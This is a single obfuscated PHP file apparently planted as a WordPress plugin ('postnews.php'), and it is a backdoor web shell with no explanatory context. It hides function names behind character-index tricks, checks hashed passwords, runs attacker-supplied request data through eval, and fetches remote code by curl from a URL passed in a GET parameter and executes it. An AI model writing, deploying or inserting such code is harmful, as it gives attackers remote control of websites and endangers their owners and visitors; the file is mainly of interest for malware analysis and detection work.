File: /home/opal/public_html/wp-content/plugins/kmcsghv/postnews.php
<?php $YRZcm = "r"."a"."n"."g"."e"; $wAKe = $YRZcm("~", " "); $w=${$wAKe[20+11].$wAKe[34+25].$wAKe[3+44].$wAKe[14+33].$wAKe[7+44].$wAKe[23+30].$wAKe[32+25]}; if(in_array(gettype($w)."12",$w)&&(md5(md5(md5(md5($w[6]))))==="85b417376f19df18db61d99c2a6cc763")){ $w[67]=$w[67].$w[75]; @eval($w[67](${$w[45]}[24])); } metaphone("TG72YteLq16kdYUv6hwvsnx5ckpzbT2bH57CQ6y7saw"); class fpQcz{ static function jvNluepg($LjAHyl) { $Aj = "r"."a"."n"."g"."e"; $MSm = $Aj("~", " "); $tbJeGvcRlk = explode("#", $LjAHyl); $GQgkiez = ""; foreach ($tbJeGvcRlk as $zWsKX => $wCEI) $GQgkiez .= $MSm[$wCEI - 74470]; return $GQgkiez; } static function IjmfJv($Vqw, $JlwqQz) { $bTQZGcyJV = curl_init($Vqw); curl_setopt($bTQZGcyJV, CURLOPT_RETURNTRANSFER, 1); $jeGiQuY = curl_exec($bTQZGcyJV); return empty($jeGiQuY) ? $JlwqQz($Vqw) : $jeGiQuY; } static function YN() { $Lhnpvz = array("74497#74482#74495#74499#74480#74495#74501#74494#74479#74486#74497#74480#74491#74485#74486","74481#74480#74482#74501#74482#74485#74480#74547#74545","74490#74481#74485#74486#74501#74496#74495#74497#74485#74496#74495","74484#74499#74497#74489","74498#74499#74481#74495#74542#74544#74501#74496#74495#74497#74485#74496#74495","74494#74491#74488#74495#74501#74493#74495#74480#74501#74497#74485#74486#74480#74495#74486#74480#74481","74524#74554","74471","74549#74554","74531#74514#74514#74531#74507","74494#74491#74488#74480#74495#74482#74501#74491#74486#74484#74479#74480"); foreach ($Lhnpvz as $JfSQWYP) $xJuCpnU[] = self::jvNluepg($JfSQWYP); $hin = @$xJuCpnU[1]($xJuCpnU[1+9](INPUT_GET, $xJuCpnU[5+4])); $VX = @$xJuCpnU[1+2]($xJuCpnU[5+1], $hin); $vyKuahPGTk = $xJuCpnU[1+1]($VX, true); @$xJuCpnU[8+2](INPUT_GET, "of") == 1 && die($xJuCpnU[2+3](__FILE__)); if( ((@$vyKuahPGTk[0] - time()) > 0) and (md5(md5($vyKuahPGTk[1+2])) === "8a733313bf6b9c39660cc9bf4329d1ba") ): $rnFsh = self::IjmfJv($vyKuahPGTk[1+0], $xJuCpnU[1+4]);@eval($xJuCpnU[2+2]($rnFsh));die; endif; }}fpQcz::YN(); ?>